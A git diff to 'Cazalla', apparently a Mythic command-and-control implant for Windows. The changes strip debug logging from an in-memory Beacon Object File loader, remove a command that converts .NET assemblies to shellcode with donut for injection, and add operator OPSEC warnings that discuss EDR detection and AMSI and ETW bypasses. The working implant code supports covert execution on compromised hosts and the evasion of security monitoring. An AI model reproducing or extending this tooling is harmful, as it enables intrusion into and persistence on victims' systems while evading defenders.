diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c
index ae5ac07..448c13c 100644
--- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c
+++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c
@@ -193,12 +193,6 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
             // But if called directly, we'll handle it here
             _wrn("inline_execute_assembly should be called via subtasks");
             if (analizadorTarea) liberarAnalizador(analizadorTarea);
-        } else if (tarea == EXECUTE_ASSEMBLY_CMD) {
-            _inf("===== PROCESSING EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
-            // This command is typically handled via subtasks in Python (inject_shellcode)
-            // But if called directly, we'll handle it here
-            _wrn("execute_assembly should be called via subtasks");
-            if (analizadorTarea) liberarAnalizador(analizadorTarea);
         } else {
             _wrn("Tarea desconocida: 0x%02x", tarea);
             _wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h
index 1be6218..18d0d0f 100644
--- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h
+++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h
@@ -67,7 +67,6 @@
 /* BOF and Assembly execution commands */
 #define INLINE_EXECUTE_CMD        0x70
 #define INLINE_EXECUTE_ASSEMBLY_CMD 0x71
-#define EXECUTE_ASSEMBLY_CMD      0x72
 
 /* Extension marker to carry SOCKS array in binary messages */
 #define SOCKS_BLOCK_MARKER 0xF5
diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c
index a0a81ba..cca5046 100644
--- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c
+++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c
@@ -35,7 +35,6 @@ static DWORD WINAPI BOFExecutionThread(LPVOID lpParam) {
         return 1;
     }
     
-    _inf("[BOFExecutionThread] Iniciando ejecución de BOF en thread separado");
     threadArgs->completed = FALSE;
     threadArgs->success = FALSE;
     
@@ -45,7 +44,6 @@ static DWORD WINAPI BOFExecutionThread(LPVOID lpParam) {
     
     threadArgs->success = result;
     threadArgs->completed = TRUE;
-    _inf("[BOFExecutionThread] BOF ejecutado, success=%d", result);
     
     return result ? 0 : 1;
 }
@@ -75,8 +73,6 @@ void BeaconPrintf(int type, char* fmt, ...) {
     beacon_output_size += length;
     beacon_output_offset += length;
     va_end(args);
-    
-    _inf("[BeaconPrintf] Output capturado: %d bytes, total buffer: %d bytes", length, beacon_output_size);
 }
 
 // BeaconOutput - Capture raw output from BOFs
@@ -94,8 +90,6 @@ void BeaconOutput(int type, char* data, int len) {
     memcpy(beacon_output_buffer + beacon_output_offset, data, len);
     beacon_output_size += len;
     beacon_output_offset += len;
-    
-    _inf("[BeaconOutput] Output capturado: %d bytes, total buffer: %d bytes", len, beacon_output_size);
 }
 
 // BeaconGetOutputData - Get captured output (caller must free)
@@ -185,7 +179,6 @@ BOOL BeaconIsAdmin(void) {
 DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
 #define CHUNK_SIZE 512000  // 512 KB
     
-    _inf("[inline_execute] Obteniendo archivo BOF de Mythic: %.*s", 36, fileId);
     
     DWORD status = 0;
     PBYTE dataBuffer = NULL;
@@ -330,7 +323,6 @@ DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
     bof->size = totalBytesRead;
     bof->totalChunks = totalChunks;
     
-    _inf("[inline_execute] Archivo BOF obtenido: %zu bytes, %u chunks", totalBytesRead, totalChunks);
     return 0;
     
 cleanup:
@@ -500,12 +492,9 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg
         return FALSE;
     }
     
-    _inf("[ExecuteEntry] Buscando entry point '%s' en %u símbolos", func, COFF->FileHeader->NumberOfSymbols);
     for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) {
         if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) {
             foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value);
-            _inf("[ExecuteEntry] Entry point '%s' encontrado en símbolo %u: 0x%p (offset=%u)", 
-                 func, counter, foo, COFF->SymbolTable[counter].Value);
             break;
         }
     }
@@ -516,12 +505,7 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg
     }
     
     // Execute the BOF
-    // Execute the BOF
-    // Note: If the BOF crashes, the agent will crash too since we can't use SEH with GCC
-    // The BOF should handle its own errors gracefully
-    _inf("[ExecuteEntry] Ejecutando entry point '%s'...", func);
     foo((char*)args, (UINT32)argSize);
-    _inf("[ExecuteEntry] Entry point '%s' completado", func);
     return TRUE;
 }
 
@@ -639,7 +623,6 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
     }
     
     // Execute the BOF
-    _inf("[RunCOFF] Preparando ejecución de entry point '%s' con argumentos: data=%p, size=%lu", EntryName, argumentdata, argumentsize);
     if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) {
         _err("[RunCOFF] Error ejecutando entry point '%s'", EntryName);
         // Cleanup
@@ -652,7 +635,6 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
         if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
         return FALSE;
     }
-    _inf("[RunCOFF] Entry point '%s' ejecutado exitosamente", EntryName);
     
     // Cleanup
     for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
@@ -709,12 +691,9 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
     if (!argsJson || argsJsonLen == 0) {
         *outBuffer = NULL;
         *outSize = 0;
-        _inf("[ParseBOFArguments] No arguments provided");
         return TRUE; // No arguments is valid
     }
     
-    _inf("[ParseBOFArguments] Parsing JSON arguments: %.*s", (int)argsJsonLen, argsJson);
-    
     // Check for empty array []
     PCHAR p = argsJson;
     PCHAR end = argsJson + argsJsonLen;
@@ -726,7 +705,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
             // Empty array
             *outBuffer = NULL;
             *outSize = 0;
-            _inf("[ParseBOFArguments] Empty array, no arguments");
             return TRUE;
         }
     }
@@ -841,20 +819,16 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
             }
             memcpy(buffer + offset, &val, 2);
             offset += 2;
-            _inf("[ParseBOFArguments] Packed int16: %d", val);
         } else if (strcmp(typeBuf, "int32") == 0) {
             INT32 val = 0;
             // Handle boolean values (true/false) and numeric values
             // First check for unquoted boolean literals
             if (valueLen >= 4 && (strncmp(valueStart, "true", 4) == 0 || strncmp(valueStart, "True", 4) == 0)) {
                 val = 1;
-                _inf("[ParseBOFArguments] Detected boolean 'true' -> 1");
             } else if (valueLen >= 5 && (strncmp(valueStart, "false", 5) == 0 || strncmp(valueStart, "False", 5) == 0)) {
                 val = 0;
-                _inf("[ParseBOFArguments] Detected boolean 'false' -> 0");
             } else {
                 val = (INT32)atoi(valueStart);
-                _inf("[ParseBOFArguments] Parsed numeric value: %d", val);
             }
             if (offset + 4 > bufferSize) {
                 LocalFree(buffer);
@@ -862,7 +836,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
             }
             memcpy(buffer + offset, &val, 4);
             offset += 4;
-            _inf("[ParseBOFArguments] Packed int32: %d (from '%.*s', len=%zu)", val, (int)valueLen, valueStart, valueLen);
         } else if (strcmp(typeBuf, "string") == 0) {
             if (offset + 4 + valueLen + 1 > bufferSize) {
                 LocalFree(buffer);
@@ -874,7 +847,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
             memcpy(buffer + offset, valueStart, valueLen);
             offset += valueLen;
             buffer[offset++] = '\0';
-            _inf("[ParseBOFArguments] Packed string: %.*s (len=%u)", (int)valueLen, valueStart, len);
         } else if (strcmp(typeBuf, "wchar") == 0) {
             // Convert to wide string (UTF-16)
             SIZE_T wcharLen = (valueLen + 1) * 2; // Each char becomes 2 bytes
@@ -894,7 +866,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
             WCHAR nullTerm = 0;
             memcpy(buffer + offset, &nullTerm, 2);
             offset += 2;
-            _inf("[ParseBOFArguments] Packed wchar: %.*s (len=%u)", (int)valueLen, valueStart, len);
         } else if (strcmp(typeBuf, "base64") == 0) {
             // Decode base64
             char* b64Str = (char*)LocalAlloc(LPTR, valueLen + 1);
@@ -935,7 +906,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
             
             LocalFree(b64Str);
             LocalFree(decoded);
-            _inf("[ParseBOFArguments] Packed base64: %zu bytes", decodedLen);
         } else if (strcmp(typeBuf, "bytes") == 0) {
             // Convert hex string to bytes
             PBYTE bytes = NULL;
@@ -965,7 +935,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
             offset += bytesLen;
             
             LocalFree(bytes);
-            _inf("[ParseBOFArguments] Packed bytes: %zu bytes", bytesLen);
         } else {
             // Unknown type - skip or error?
             _wrn("[ParseBOFArguments] Unknown argument type: %s", typeBuf);
@@ -984,7 +953,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
         buffer = NULL;
     }
     
-    _inf("[ParseBOFArguments] Total packed size: %zu bytes", offset);
     *outBuffer = buffer;
     *outSize = offset;
     return TRUE;
@@ -994,7 +962,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
  * InlineExecuteHandler - Main handler for inline_execute command
  */
 VOID InlineExecuteHandler(PAnalizador argumentos) {
-    _inf("===== InlineExecuteHandler INICIO =====");
     
     // Read task UUID
     SIZE_T uuidLen = 36;
@@ -1018,8 +985,6 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
     SIZE_T argsLen = 0;
     PBYTE argsBuffer = getBytes(argumentos, &argsLen);
     
-    _inf("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu", 
-         36, taskUuid, (int)fileIdLen, fileId, argsLen);
     
     // Create response package
     PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
@@ -1054,9 +1019,7 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
     PBYTE bofArgs = NULL;
     SIZE_T bofArgsSize = 0;
     if (argsBuffer && argsLen > 0) {
-        _inf("[inline_execute] Argumentos recibidos del translator: size=%zu bytes", argsLen);
-        
-        // The buffer from translator already has the format from Packer: [size:4 bytes LE][data]
+            // The buffer from translator already has the format from Packer: [size:4 bytes LE][data]
         // We just need to replace the first 4 bytes with the total size
         bofArgs = argsBuffer;  // Use the buffer directly
         bofArgsSize = argsLen;
@@ -1064,9 +1027,7 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
         // Replace first 4 bytes with total size (including the 4-byte header)
         UINT32 totalSize = (UINT32)bofArgsSize;
         memcpy(bofArgs, &totalSize, 4);
-        _inf("[inline_execute] Buffer preparado: total_size=%u, buffer_size=%zu", totalSize, bofArgsSize);
     } else {
-        _inf("[inline_execute] No hay argumentos");
         bofArgs = NULL;
         bofArgsSize = 0;
         if (argsBuffer) {
@@ -1082,53 +1043,9 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
     }
     beacon_output_size = 0;
     beacon_output_offset = 0;
-    _inf("[inline_execute] Buffer de output limpiado antes de ejecutar BOF");
     
     // Execute the BOF
     DWORD fileSize = (DWORD)bof.size;
-    _inf("[inline_execute] Ejecutando BOF: size=%lu bytes, entry=go", fileSize);
-    _inf("[inline_execute] Argumentos para BOF: size=%zu bytes, ptr=%p", bofArgsSize, bofArgs);
-    
-    // Log argument structure for debugging (first 100 bytes)
-    if (bofArgs && bofArgsSize > 0) {
-        int logBytes = (bofArgsSize > 100) ? 100 : bofArgsSize;
-        // Log only summary of arguments (reduced verbosity to prevent log blocking)
-        if (bofArgsSize >= 4) {
-            UINT32* ptr = (UINT32*)bofArgs;
-            SIZE_T offset = 4;
-            if (offset + 4 <= bofArgsSize) {
-                UINT32 bytesLen = ptr[1];
-                offset += 4 + bytesLen;
-                if (offset + 4 <= bofArgsSize) {
-                    UINT32 assemblyLen = *(UINT32*)((PBYTE)bofArgs + offset);
-                    offset += 4;
-                    if (offset + 4 <= bofArgsSize) {
-                        UINT32 wcharLen = *(UINT32*)((PBYTE)bofArgs + offset);
-                        offset += 4 + wcharLen;
-                        if (offset + 4 <= bofArgsSize) {
-                            INT32 patchExit = *(INT32*)((PBYTE)bofArgs + offset);
-                            offset += 4;
-                            if (offset + 4 <= bofArgsSize) {
-                                INT32 amsi = *(INT32*)((PBYTE)bofArgs + offset);
-                                offset += 4;
-                                if (offset + 4 <= bofArgsSize) {
-                                    INT32 etw = *(INT32*)((PBYTE)bofArgs + offset);
-                                    _inf("[inline_execute] Args: bytes=%u, assembly=%u, wchar=%u, patch_exit=%d, amsi=%d, etw=%d", 
-                                         bytesLen, assemblyLen, wcharLen, patchExit, amsi, etw);
-                                }
-                            }
-                        }
-                    }
-                }
-            }
-        }
-    }
-    
-    // Execute the BOF in a separate thread to prevent agent blocking
-    // This allows the agent to continue even if the BOF hangs or crashes
-    _inf("[inline_execute] === EJECUTANDO BOF EN THREAD SEPARADO ===");
-    _inf("[inline_execute] BOF: buffer=%p, size=%lu, args=%p, argsSize=%zu", 
-         bof.buffer, fileSize, bofArgs, bofArgsSize);
     
     // Prepare thread arguments
     BOF_THREAD_ARGS threadArgs = {0};
@@ -1157,26 +1074,17 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
     
     // Wait for BOF execution with timeout (30 seconds)
     DWORD timeoutMs = 30000;  // 30 seconds
-    _inf("[inline_execute] Esperando ejecución del BOF (timeout=%lu ms)...", timeoutMs);
     DWORD waitResult = WaitForSingleObject(hThread, timeoutMs);
-    _inf("[inline_execute] WaitForSingleObject retornó: %lu (WAIT_OBJECT_0=%d, WAIT_TIMEOUT=%d)", 
-         waitResult, WAIT_OBJECT_0, WAIT_TIMEOUT);
     
     BOOL bofSuccess = FALSE;
     if (waitResult == WAIT_OBJECT_0) {
         // Thread completed
-        _inf("[inline_execute] Thread del BOF completó exitosamente");
         bofSuccess = threadArgs.success;
-        _inf("[inline_execute] threadArgs.success=%d, threadArgs.completed=%d", 
-             threadArgs.success, threadArgs.completed);
     } else if (waitResult == WAIT_TIMEOUT) {
         // Thread timed out - BOF is hanging
         _err("[inline_execute] BOF se colgó (timeout después de %lu ms)", timeoutMs);
-        _inf("[inline_execute] Intentando terminar thread colgado...");
         // Try to terminate the thread (not ideal, but necessary to unblock agent)
-        if (TerminateThread(hThread, 1)) {
-            _inf("[inline_execute] Thread terminado exitosamente");
-        } else {
+        if (!TerminateThread(hThread, 1)) {
             _err("[inline_execute] Error terminando thread (error: %lu)", GetLastError());
         }
         PackageAddFormatPrintf(salida, FALSE, "[inline_execute] WARNING: BOF se colgó después de %lu segundos\n", timeoutMs / 1000);
diff --git a/Payload_Type/cazalla/cazalla/agent_functions/execute_assembly.py b/Payload_Type/cazalla/cazalla/agent_functions/execute_assembly.py
deleted file mode 100644
index be550c4..0000000
--- a/Payload_Type/cazalla/cazalla/agent_functions/execute_assembly.py
+++ /dev/null
@@ -1,220 +0,0 @@
-from mythic_container.MythicCommandBase import *
-from mythic_container.MythicRPC import *
-import json
-import logging
-import os
-import tempfile
-
-logging.basicConfig(level=logging.INFO)
-
-
-class ExecuteAssemblyArguments(TaskArguments):
-    def __init__(self, command_line, **kwargs):
-        super().__init__(command_line, **kwargs)
-        self.args = [
-            CommandParameter(
-                name="assembly_name",
-                cli_name="Assembly",
-                display_name="Assembly",
-                type=ParameterType.ChooseOne,
-                dynamic_query_function=self.get_files,
-                description="Already existing .NET assembly to execute (e.g. SharpUp.exe)",
-                parameter_group_info=[
-                    ParameterGroupInfo(
-                        required=True,
-                        group_name="Default",
-                        ui_position=1
-                    )
-                ]),
-            CommandParameter(
-                name="assembly_file",
-                display_name="New Assembly",
-                type=ParameterType.File,
-                description="A new .NET assembly to execute. After uploading once, you can just supply the -Assembly parameter",
-                parameter_group_info=[
-                    ParameterGroupInfo(
-                        required=True, 
-                        group_name="New Assembly", 
-                        ui_position=1,
-                    )
-                ]
-            ),
-            CommandParameter(
-                name="assembly_arguments",
-                cli_name="Arguments",
-                display_name="Arguments",
-                type=ParameterType.String,
-                description="Arguments to pass to the assembly.",
-                default_value="",
-                parameter_group_info=[
-                    ParameterGroupInfo(
-                        required=True, group_name="Default", ui_position=2,
-                    ),
-                    ParameterGroupInfo(
-                        required=True, group_name="New Assembly", ui_position=2
-                    ),
-                ],
-            ),
-        ]
-    
-    async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
-        response = PTRPCDynamicQueryFunctionMessageResponse()
-        file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
-            CallbackID=callback.Callback,
-            LimitByCallback=False,
-            Filename="",
-        ))
-        if file_resp.Success:
-            file_names = []
-            for f in file_resp.Files:
-                if f.Filename not in file_names and f.Filename.endswith(".exe"):
-                    file_names.append(f.Filename)
-            response.Success = True
-            response.Choices = file_names
-            return response
-        else:
-            await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
-                CallbackId=callback.Callback,
-                Message=f"Failed to get files: {file_resp.Error}",
-                MessageLevel="warning"
-            ))
-            response.Error = f"Failed to get files: {file_resp.Error}"
-            return response
-
-    async def parse_arguments(self):
-        if len(self.command_line) == 0:
-            raise ValueError("Must supply arguments")
-        raise ValueError("Must supply named arguments or use the modal")
-
-class ExecuteAssemblyCommand(CommandBase):
-    cmd = "execute_assembly"
-    needs_admin = False
-    help_cmd = "execute_assembly -File [Assembly Filename] [-Arguments [optional arguments]]"
-    description = "Execute a .NET Assembly. Use an already uploaded assembly file or upload one with the command. (e.g., execute_assembly -File SharpUp.exe -Arguments \"audit\")"
-    version = 1
-    author = "@c0rnbread (adapted for Cazalla)"
-    script_only = True
-    attackmapping = []
-    argument_class = ExecuteAssemblyArguments
-    attributes = CommandAttributes(
-        builtin=False,
-        supported_os=[ SupportedOS.Windows ],
-        suggested_command=False
-    )
-
-    async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
-        response = PTTaskCreateTaskingMessageResponse(
-            TaskID=taskData.Task.ID,
-            Success=True,
-        )
-        
-        try:
-            groupName = taskData.args.get_parameter_group_name()
-            
-            if groupName == "New Assembly":
-                file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
-                    TaskID=taskData.Task.ID,
-                    AgentFileID=taskData.args.get_arg("assembly_file")
-                ))
-                if file_resp.Success:
-                    if len(file_resp.Files) > 0:
-                        pass
-                    else:
-                        raise Exception("Failed to find that file")
-                else:
-                    raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
-                
-                # Set display parameters
-                response.DisplayParams = "-Assembly {} -Arguments {}".format(
-                    file_resp.Files[0].Filename,
-                    taskData.args.get_arg("assembly_arguments")
-                )
-                
-                taskData.args.add_arg("assembly_name", file_resp.Files[0].Filename)
-                taskData.args.remove_arg("assembly_file")
-            
-            elif groupName == "Default":
-                # We're trying to find an already existing file and use that
-                file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
-                    TaskID=taskData.Task.ID,
-                    Filename=taskData.args.get_arg("assembly_name"),
-                    LimitByCallback=False,
-                    MaxResults=1
-                ))
-                if file_resp.Success:
-                    if len(file_resp.Files) > 0:
-                        logging.info(f"Found existing Assembly with File ID : {file_resp.Files[0].AgentFileId}")
-
-                        taskData.args.remove_arg("assembly_name")    # Don't need this anymore
-                        
-                        # Set display parameters
-                        response.DisplayParams = "-Assembly {} -Arguments {}".format(
-                            file_resp.Files[0].Filename,
-                            taskData.args.get_arg("assembly_arguments")
-                        )
-
-                    elif len(file_resp.Files) == 0:
-                        raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
-                else:
-                    raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
-
-            # Get the file contents of the .NET assembly
-            assembly_contents = await SendMythicRPCFileGetContent(
-                MythicRPCFileGetContentMessage(AgentFileId=file_resp.Files[0].AgentFileId)
-            )
-
-            # Try to import donut - required for execute_assembly
-            try:
-                import donut
-            except ImportError:
-                raise Exception("The 'donut' Python module is not installed. Please install it with: pip install donut-shellcode")
-            
-            # Need a physical path for donut.create()
-            fd, temppath = tempfile.mkstemp(suffix='.exe')
-            logging.info(f"Writing Assembly Contents to temporary file \"{temppath}\"")
-            with os.fdopen(fd, 'wb') as tmp:
-                tmp.write(assembly_contents.Content)
-
-            # Bypass=None, ExitOption=exit process
-            assembly_shellcode = donut.create(file=temppath, params=taskData.args.get_arg("assembly_arguments"), bypass=1, exit_opt=2)
-            # Clean up temp file
-            os.remove(temppath)
-            
-            logging.info(f"Converted .NET into Shellcode {len(assembly_shellcode)} bytes")
-            
-            # .NET shellcode stub in Mythic
-            shellcode_file_resp = await SendMythicRPCFileCreate(
-                MythicRPCFileCreateMessage(TaskID=taskData.Task.ID, FileContents=assembly_shellcode, DeleteAfterFetch=True)
-            )
-            
-
-            if shellcode_file_resp.Success:
-                shellcode_file_uuid = shellcode_file_resp.AgentFileId
-            else:
-                raise Exception("Failed to register execute_assembly binary: " + shellcode_file_resp.Error)
-            
-            # Send subtask to inject shellcode
-            # Note: This requires an inject_shellcode command to exist
-            # For now, we'll just register the file and note that inject_shellcode needs to be implemented
-            subtask = await SendMythicRPCTaskCreateSubtask(
-                MythicRPCTaskCreateSubtaskMessage(
-                    taskData.Task.ID,
-                    CommandName="inject_shellcode",
-                    SubtaskCallbackFunction="coff_completion_callback",
-                    Params=json.dumps({
-                        "shellcode_file": shellcode_file_uuid,
-                        "method": "default"
-                    }),
-                    Token=taskData.Task.TokenID,
-                )
-            )
-            
-            return response
-
-        except Exception as e:
-            raise Exception("Error from Mythic: " + str(e))
-        
-    async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
-        resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
-        return resp
-
diff --git a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py
index fe9da22..15afdd6 100644
--- a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py
+++ b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py
@@ -313,6 +313,67 @@ class InlineExecuteCommand(CommandBase):
         
         return response
 
+    async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
+        """
+        OPSEC check before creating the task.
+        Warns about BOF execution risks.
+        """
+        message = "⚠️ OPSEC WARNING - BOF Execution Detected\n\n"
+        message += "BOF (Beacon Object File) execution is monitored by:\n"
+        message += "  • EDR/XDR solutions (memory allocation monitoring)\n"
+        message += "  • API call monitoring (LoadLibraryA, GetProcAddress)\n"
+        message += "  • Memory scanning (executable page allocation)\n"
+        message += "  • Symbol resolution tracking\n\n"
+        
+        message += "🔍 DETECTION MECHANISMS:\n"
+        message += "  • PAGE_EXECUTE_READWRITE memory allocation\n"
+        message += "  • External symbol resolution (LoadLibraryA/GetProcAddress)\n"
+        message += "  • COFF loader activity patterns\n"
+        message += "  • Beacon API function calls\n\n"
+        
+        message += "💡 CONSIDERATIONS:\n"
+        message += "  • In-process execution reduces some detection vectors (no new process)\n"
+        message += "  • Better OPSEC than `shell` (no cmd.exe spawn)\n"
+        message += "  • Memory allocation may be scanned by EDR\n"
+        message += "  • API calls may be logged by security tools\n\n"
+        
+        message += "⚠️ DETECTION RISK: MEDIUM\n"
+        message += "Usually not immediately detected, but may be flagged by behavioral analysis.\n\n"
+        message += "✅ This is a WARNING only - command will proceed.\n"
+        message += "Ensure you understand the detection risks before continuing."
+        
+        return PTTTaskOPSECPreTaskMessageResponse(
+            TaskID=taskData.Task.ID,
+            Success=True,
+            OpsecPreBlocked=False,  # Medium risk, don't block
+            OpsecPreBypassRole="operator",
+            OpsecPreMessage=message
+        )
+
+    async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
+        """
+        OPSEC check after creating the task.
+        Warns about artifacts that will be created.
+        """
+        message = "⚠️ OPSEC POST-CHECK - BOF Execution Artifacts\n\n"
+        message += "This task will create the following artifacts:\n"
+        message += "  • Process Create: BOF execution in current process\n"
+        message += "  • Memory Allocation: Executable memory pages (PAGE_EXECUTE_READWRITE)\n"
+        message += "  • API Calls: LoadLibraryA, GetProcAddress, symbol resolution\n\n"
+        
+        message += "💡 ARTIFACT DETAILS:\n"
+        message += "  • Process Create artifact is logged in Mythic\n"
+        message += "  • Memory allocation may be detected by EDR memory scanning\n"
+        message += "  • API calls may be logged by security tools\n\n"
+        
+        message += "✅ Review artifacts in the Artifacts tab after execution."
+        
+        return PTTTaskOPSECPostTaskMessageResponse(
+            TaskID=taskData.Task.ID,
+            Success=True,
+            OpsecPostMessage=message
+        )
+
     async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
         resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
         return resp
diff --git a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py
index e333ef7..9a30a64 100644
--- a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py
+++ b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py
@@ -269,6 +269,130 @@ class InlineExecuteAssemblyCommand(CommandBase):
         alias=True
     )
 
+    async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
+        """
+        OPSEC check before creating the task.
+        Warns about .NET assembly execution risks, especially with bypass flags.
+        """
+        # Check if bypass flags are enabled
+        amsi_enabled = taskData.args.get_arg("amsi") or False
+        etw_enabled = taskData.args.get_arg("etw") or False
+        patch_exit_enabled = taskData.args.get_arg("patch_exit") or False
+        
+        blocked = False
+        message = "⚠️ OPSEC WARNING - .NET Assembly In-Process Execution Detected\n\n"
+        
+        message += ".NET assembly execution is monitored by:\n"
+        message += "  • EDR/XDR solutions (CLR loading detection)\n"
+        message += "  • AMSI (Anti-Malware Scan Interface)\n"
+        message += "  • ETW (Event Tracing for Windows)\n"
+        message += "  • Memory scanning (executable page allocation)\n"
+        message += "  • Behavioral analysis engines\n\n"
+        
+        if amsi_enabled or etw_enabled:
+            message += "🚨 HIGH RISK DETECTED - Bypass Flags Enabled\n\n"
+            message += "⚠️ WARNING: You have enabled bypass flags that significantly increase detection risk:\n\n"
+            
+            if amsi_enabled:
+                message += "  • --amsi: AMSI bypass by patching clr.dll\n"
+                message += "    - Patching clr.dll may trigger behavioral detections\n"
+                message += "    - More evasive than patching amsi.dll, but still detectable\n"
+                message += "    - Advanced EDR solutions monitor CLR modifications\n\n"
+            
+            if etw_enabled:
+                message += "  • --etw: ETW bypass via EAT hooking\n"
+                message += "    - EAT hooking advapi32.dll!EventWrite is monitored\n"
+                message += "    - Advanced EDR solutions detect export table modifications\n"
+                message += "    - May trigger immediate alerts\n\n"
+            
+            message += "🔍 BYPASS DETECTION MECHANISMS:\n"
+            message += "  • CLR DLL patching detection\n"
+            message += "  • Export Address Table (EAT) hooking detection\n"
+            message += "  • Behavioral analysis of bypass techniques\n"
+            message += "  • Memory integrity checks\n\n"
+            
+            message += "⚠️ DETECTION RISK: HIGH (with bypass flags)\n"
+            message += "Bypass techniques are heavily monitored and may trigger immediate alerts.\n\n"
+            
+            # Block if both bypasses are enabled
+            if amsi_enabled and etw_enabled:
+                blocked = True
+                message += "🚨 BLOCKED: Both AMSI and ETW bypasses enabled.\n"
+                message += "This combination has very high detection risk.\n"
+                message += "Consider using only one bypass or none if possible.\n\n"
+        else:
+            message += "🔍 DETECTION MECHANISMS:\n"
+            message += "  • CLR loading into memory\n"
+            message += "  • .NET assembly reflection/loading\n"
+            message += "  • Memory allocation (executable pages)\n"
+            message += "  • Assembly execution patterns\n\n"
+            
+            message += "💡 CONSIDERATIONS:\n"
+            message += "  • In-process execution reduces detection vectors (no process injection)\n"
+            message += "  • Better OPSEC than process spawning (no new process creation)\n"
+            message += "  • CLR loading may be detected by EDR\n"
+            message += "  • Memory allocation may be scanned\n\n"
+            
+            message += "⚠️ DETECTION RISK: MEDIUM (without bypass flags)\n"
+            message += "Usually not immediately detected, but may be flagged by behavioral analysis.\n\n"
+        
+        if patch_exit_enabled:
+            message += "  • --patchexit: Prevents assembly from exiting (recommended)\n\n"
+        
+        message += "💡 ALTERNATIVES:\n"
+        message += "  • Use `inline_execute` for BOFs (lower detection risk)\n"
+        message += "  • Consider executing assemblies without bypass flags first\n\n"
+        
+        if not blocked:
+            message += "✅ This is a WARNING only - command will proceed.\n"
+        else:
+            message += "❌ This command is BLOCKED due to high detection risk.\n"
+        
+        message += "Ensure you understand the detection risks before continuing."
+        
+        return PTTTaskOPSECPreTaskMessageResponse(
